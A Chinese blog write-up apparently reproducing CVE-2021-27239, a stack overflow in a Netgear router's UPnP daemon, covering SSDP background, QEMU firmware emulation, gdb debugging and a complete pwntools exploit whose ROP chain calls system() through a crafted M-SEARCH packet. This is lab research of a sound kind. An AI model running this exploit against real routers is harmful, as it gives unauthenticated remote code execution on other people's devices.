首页 > 其他分享 >CVE-2021-27239 漏洞复现

CVE-2021-27239 漏洞复现

时间:2023-04-30 23:22:23浏览次数:57  
标签:服务 upnpd 192.168 payload 2021 CVE 27239 UPnP 设备

在此感谢 tolele 师傅的帮助 参考链接

https://toleleyjl.github.io/2023/04/09/CVE-2021-27239%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E8%AE%B0%E5%BD%95/
https://toleleyjl.github.io/2023/02/16/CVE-2021-34991%E5%A4%8D%E7%8E%B0/
https://xuanxuanblingbling.github.io/iot/2021/11/01/netgear/
https://rmrfsad.github.io/2023/04/05/iot/CVE-2021-27239/#%E5%9B%BA%E4%BB%B6%E6%A8%A1%E6%8B%9F
https://paper.seebug.org/1311/#qemu
漏洞概述 CVE-2021-27239 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 路由器固件下载 不过由于刚开始接触 IOT ,先了解下 UPnP 服务和 SSDP 协议,以下信息来自 chatgpt UPnP 服务: UPnP(通用即插即用)服务是一种基于UPnP协议,用于实现设备之间互相发现和交谈的服务。UPnP服务通常可以包括多种类型的服务,例如媒体服务器服务、打印机服务、网络存储服务等等。 UPnP服务通常在设备之间使用HTTP协议进行通信,设备可以通过HTTP请求(如HTTP GET、POST等)来查询其他设备的服务,并且根据查询结果来做出相应的操作。因此,UPnP服务也称为互联网设备联盟设备控制协议(UPnP Device Control Protocol)。 在UPnP服务架构中,设备通常包含一个设备描述文档(Device Description Document),它定义了设备的基本信息、属性、状态、可用服务等。设备描述文档基于XML格式编写,由设备厂商提供。 需要注意的是,UPnP服务的开放性和易用性也带来了安全风险。未经适当保护的UPnP服务可能会被黑客利用,从而导致网络受到攻击。为了减轻这种风险,DOWNUPnP Forum和其他组织已经制定了一些UPnP安全模型和UPnP安全指南,旨在帮助设备生产厂商和用户加强对UPnP服务的管控和保护。 SSDP 协议: SSDP(Simple Service Discovery Protocol),简单服务发现协议,是一种基于UPnP(通用即插即用)协议的服务发现协议。 SSDP的实质是通过UDP协议在局域网中发送广播通告或组播通告,从而实现局域网内的设备自动发现、自组网和服务发现。SSDP通常用于网络设备、智能家居等场景中,它可以让设备自动发现其他设备,并且了解这些设备支持哪些服务和功能。 SSDP协议默认监听UDP 1900端口,并且通过IP多播方式向局域网内的所有设备发送服务发现消息。设备收到这个消息后,会向发送者回复一个包含自身信息的消息。这样,设备就可以通过不断地互相交流,建立起一个网络拓扑结构,并且了解其他设备的服务和功能。当一个设备新加入网络时,它可以向其他设备发送服务发现消息,从而让其他设备找到自己并且建立连接。 需要注意的是,由于SSDP协议使用UDP广播和多播方式,理论上来说这种方式存在一定的安全风险,攻击者可以通过发送恶意消息来干扰网络正常运行。因此,在实际应用中,应该采取相应的措施来加强网络安全,比如限制广播或者多播的范围,使用更安全的传输协议,或者开启相关的安全措施,如身份验证和加密等。 SSDP协议的请求和响应报文都是基于HTTP/1.1协议格式的,具体格式如下: 请求报文:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1   # 查询的设备类型或服务类型
MX: 3
其中,M-SEARCH表示多播搜索请求,*表示搜索全局范围内所有设备。HOST指定了目的地地址和端口,SSDP协议默认使用239.255.255.250:1900进行多播搜索。MAN表示搜索类型,ssdp:discover表示简单服务发现机制。ST表示搜索目标,即设备或服务类型,这里指定了一个特殊的设备类型InternetGatewayDevice。MX表示最大响应等待时间。 响应报文:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Fri, 16 Apr 2021 07:54:52 GMT
EXT:
LOCATION: http://192.168.1.1:80/rootDesc.xml
SERVER: Linux/2.4.17 UPnP/1.0 miniupnpd/1.7
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:UPnP-InternetGatewayDevice-1_0-000666777888::urn:schemas-upnp-org:device:InternetGatewayDevice:1/
响应报文中,第一行HTTP状态码200表示请求成功。CACHE-CONTROL指定设备或服务的缓存时间,单位为秒。LOCATION指定了设备或服务的描述文档地址,即rootDesc.xml文件。ST和USN分别表示设备或服务的类型和唯一识别号。EXT指定了设备或服务支持的扩展协议,这里为空。SERVER指定了设备或服务的操作系统和应用程序名称和版本信息。 ` 漏洞成因 漏洞位于 /usr/sbin/upnpd,是ssdp(UDP 1900)协议的解析过程中,对MX字段的 strncpy 引发的栈溢出。 binwalk 提取文件,最终将 /usr/sbin/upnpd 丢到 IDA 反汇编,可以知道是一个 32 为 arm 小端序二进制可执行文件

且没有开启 Canary 和 PIE IDA 中搜寻 MX 字符串,最终找到漏洞

其中的 v5 - (v4 + 3) 表示 MX字段数据的长度,说明并没有限制数据字节大小,那么就可以直接栈溢出 固件模拟 首先要下载内核镜像文件、文件系统和启动文件
https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress/

这样才能进行系统级模拟,不够现在貌似下载不了资源了

#! /bin/bash
#创建一个虚拟网卡和虚拟机交互
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.6.1/24
# qemu 系统级模拟
qemu-system-arm -M vexpress-a9 \
    -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

将其写入 start.sh 文件,然后运行

不过会报

这里需要执行

qemu-img resize debian_wheezy_armhf_standard.qcow 32G

这样重新执行就可以正常模拟了(感谢 tolele 师傅的帮助)

经过漫长等待后,输入账号密码 root : root

# 配置虚拟网卡,用于宿主机交互
ifconfig eth0 192.168.6.2/24
# 挂载
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
配置虚拟网卡,这样虚拟机就能和物理机进行网络连接了,然后挂载,切换进程根目录
python3 -m http.server 8888
wget 192.168.6.1:8888/file_name
利用 python3 在物理机开启一个 web 服务在 8888 端口,这样就能在虚拟机利用 wget 下载物理机的文件到虚拟机 如果直接执行 /urs/sbin/upnpd 会报 /dev/nvram: No such file or directory

显示没有NVRAM文件。NVRAM(Non-Volatile Random Access Memory)是一种非易失性随机存取存储器,它能够在断电时保存数据。固件模拟与NVRAM有关系,因为在进行固件模拟时,我们需要模拟整个嵌入式系统的运行环境,包括系统配置信息、参数和状态等。这些信息通常存储在NVRAM中,并在系统启动时被读取。 通过 https://uclibc.org/downloads/binaries/0.9.30/ 下载交叉编译工具,然后在 https://github.com/therealsaumil/custom_nvram 下载模拟源码,最后编译后利用 8888 端口上传到虚拟机中
./armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

然后执行

LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd
这时候会发现成功启动了

可以看到成功开启

触发漏洞与远程调试
from pwn import *

p = remote("192.168.6.2", 1900, typ='udp')
context.log_level = 'debug'

pld = b'M-SEARCH * HTTP/1.1 \r\n'
pld += b'Man:"ssdp:discover" \r\n'
pld += b'MX:' + b'a'*160 + b' \r\n'

p.send(pld)
触发栈溢出 在 链接 下载 gdb-server ,在虚拟机开放一个调试端口,这样就能在物理机调试了 虚拟机 LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh # 寻找 upnpd 进程号 ps | grep upnpd ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid 宿主机 gdb-multiarch set architecture arm target remote 192.168.6.2:12345 同样用上面简单的 payload 来触发栈溢出调试看看, LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh ps | grep upnpd 0 找到 /usr/sbin/upnpd 的进程号 ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515 宿主机起用 gdb 0 设置系统架构,然后监听端口 set architecture arm target remote 192.168.6.2:12345 然后就能愉快地调试了 0 将断点打到 0x22dc0 0 当执行完 pop { r4, r5, r6, pc } 后,pc 就被劫持 aaaa 了,之后程序便崩溃了 0 触发栈溢出 在 链接 下载 gdb-server ,在虚拟机开放一个调试端口,这样就能在物理机调试了 虚拟机
LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd
 & /bin/sh
# 寻找 upnpd 进程号
ps | grep upnpd
./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid
宿主机
gdb-multiarch
set architecture arm
target remote 192.168.6.2:12345

同样用上面简单的 payload 来触发栈溢出调试看看

LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh
ps | grep upnpd

找到 /usr/sbin/upnpd 的进程号

./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515
宿主机起用 gdb

设置系统架构,然后监听端口
set architecture arm
target remote 192.168.6.2:12345
然后就能愉快地调试了

将断点打到 0x22dc0

当执行完 pop { r4, r5, r6, pc } 后,pc 就被劫持 aaaa 了,之后程序便崩溃了

 

漏洞利用及 exp 编写
from pwn import *

p = remote("192.168.6.2", 1900, typ='udp')
context.log_level = 'debug'

payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'Man:"ssdp:discover"\r\n'
payload += b'MX:'
payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
payload += b'\r\n\x00'

p.send(payload)
首先要利用上面 payload 来找出溢出长度 0 可以看到溢出长度要足够我们能够控制 pc 需为 140(0x8c) 并且如果我们的 exp 如下的时候
from pwn import *

p = remote("192.168.6.2", 1900, typ='udp')
context.log_level = 'debug'

payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'Man:"ssdp:discover"\r\n'
payload += b'MX:'
payload += b'a' * 0x8c
payload += b'\x08\x39\x01\r\n\x00'
payload += b'stopstop'*0x8

p.send(payload)
0 可以看到 \r\n\x00 之后的数据被读到到距离 sp 0x770 处的位置
.text:00017DD8 04 00 A0 E1                   MOV  R0, R4; command
.text:00017DDC 20 CC FF EB                   BL system

.text:00013908 02 DB 8D E2                   ADD SP, SP, #0x800
.text:0001390C 70 80 BD E8                   POP {R4-R6,PC}

.text:0000BB44 04 00 A0 E1                   MOV R0, R4 ; dest
.text:0000BB48 0D 10 A0 E1                   MOV R1, SP ; src
.text:0000BB4C F2 FE FF EB                   BL strcpy
.text:0000BB50 01 DB 8D E2                   ADD SP, SP, #0x400
.text:0000BB54 70 80 BD E8                   POP {R4-R6,PC}
我们可以利用上面三处 gadget 先控制 rsp 指向构造的 command 处,控制 R4 为 data 段上地址,再利用 strcpy 来复制 command 到 data 段上,接着再一次控制 pc,到 system 执行。和寻常 arm 架构的 ctf pwn 题差不多 exp
from pwn import *

p = remote("192.168.6.2", 1900, typ='udp')
context.log_level = 'debug'

command = b'ls'

payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'Man:"ssdp:discover"\r\n'
payload += b'MX:'
payload += b'a' * 0x8c
payload += b'\x08\x39\x01\r\n\x00' # add sp, 0x800
payload += b'a' * 0xa5
payload += p32(0x000CD000) # .data
payload += b'a' * 8
payload += p32(0x0000BB44) # strcpy
payload += command.ljust(0x400, b'\x00')
payload += p32(0x000CD000) # .data
payload += b'a' * 8
payload += p32(0x00017DD8) #system

p.send(payload)

标签:服务,upnpd,192.168,payload,2021,CVE,27239,UPnP,设备
From: https://www.cnblogs.com/xshhc/p/17365932.html

相关文章

  • [CEOI2021] Newspapers
    模拟赛没有判\(n=1\),喜提\(0\)分。感谢每个subtask都放\(n=1\)的善良出题人。看到题感觉A的操作好像比较弱小,唯一的用处似乎只能用来排除B在哪些位置,那这样就有一个暴力了,直接记录当前还有哪些点上可能有B,然后直接跑bfs,就可以通过第一档分了。看到第二档分似乎比较......
  • P7603 [THUPC2021] 鬼街(减半警报器模板)
    P7603[THUPC2021]鬼街(减半警报器模板)前言这是一个由lxl大佬提出的神奇trick,第一次省选集训的时候有点颓,听完了没写。刚好明天又要讲这个不如写篇题解。还是,我太弱了;所以又是研究一晚上才写出来,所以还是吧我对这道题的理解讲讲。正文何为折半报警器按照lxl的ppt上的......
  • Fuzzing101-Exercise2 fuzz CVE-2009-3895和CVE-2012-2836
    autohr:cxingdate:2023年4月28日我们将对libexif0.6.14进行fuzz,目标是复现CVE-2009-3895和CVE-2012-2836两个漏洞。0x00准备工作我们先了解一下libexif这个库和两个CVE漏洞。关于libexif的信息如下:isalibrarywritteninpureportableC.readsandwritesEXI......
  • Fuzzing101-Exercise1 fuzz xpdf CVE-2019-13288
    author:cxingdate:2023年4月28日0x00前期准备第一个exercise是复现xpdf的CVE-2019-13288,在正式进入fuzz之前我们需要了解xpdf和CVE-2019-13288。找到xpdf的官网,上面有一句简短的介绍。XpdfisafreePDFviewerandtoolkit,includingatextextractor,imagecon......
  • 请问Pandas怎么能把类似201001这种月度格式改为2021-01-31这种日期格式
    今日鸡汤落叶人何在,寒云路几层。大家好,我是Python进阶者。一、前言前几天在Python最强王者交流群【老松鼠】问了一道Pandas时间处理的问题,如下图所示。二、实现过程一开始以为只是每个数据先加个31后缀,之后日期格式化转换一下应该就可以了,后来发现每个月天数不一样,不可以一概而论,......
  • SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808) 修复方案
    详细描述SSL/TLS协议是一个被广泛使用的加密协议,BarMitzvah攻击实际上是利用了"不变性漏洞",这是RC4算法中的一个缺陷,它能够在某些情况下泄露SSL/TLS加密流量中的密文,从而将账户用户名密码,信用卡数据和其他敏感信息泄露给黑客。解决方法临时解决方法:服务器端(SSL/TLS)--------1......
  • mysql处理CVE-2023-21912漏洞
    目录背景解决办法系统现状思考升级过程(离线)1.查看Centos版本2.查看数据库版本3.数据库离线下载地址4.解压安装包5.停止mysql服务5.备份数据库文件6.卸载当前数据库版本7.本地安装8.启动mysql辅助操作查看含有mysql文件路径查找mysql配置文件查看文件占用大小当前目录查......
  • CVE-2016-3088漏洞复现
    1.背景介绍。ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTfulAPI接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进......
  • 2021牛客OI赛前集训营-提高组(第二场)第三题 树数树题解
    题目描述牛牛有一棵\(n\)个点的有根树,根为\(1\)。我们称一个长度为\(m\)的序列\(a\)是好的,当且仅当:\(\foralli\in(1,m]\),\(a_i\)为\(a_{i−1}\)的祖先或\(a_{i−1}\)是\(ai\)的祖先\(\forall1\leqi\ltj\leqm,a_i\neqa_j\)你需要帮助牛牛求出最长的......
  • 2021牛客OI赛前集训营-提高组(第三场) 第二题 交替 题解与结论证明
    题目描述一个长度为\(n\)的数组\(A\),每秒都会变成一个长度为\(n−1\)新数组\(A'\),其变化规则如下:若当前数组\(A\)的长度\(n\)为偶数,则对于新数组\(A'\)的每一个位置\(i(1≤i<n)\)来说,\(A'[i]=A[i]+A[i+1]\)若当前数组\(A\)的长度\(n\)为奇数,则对于......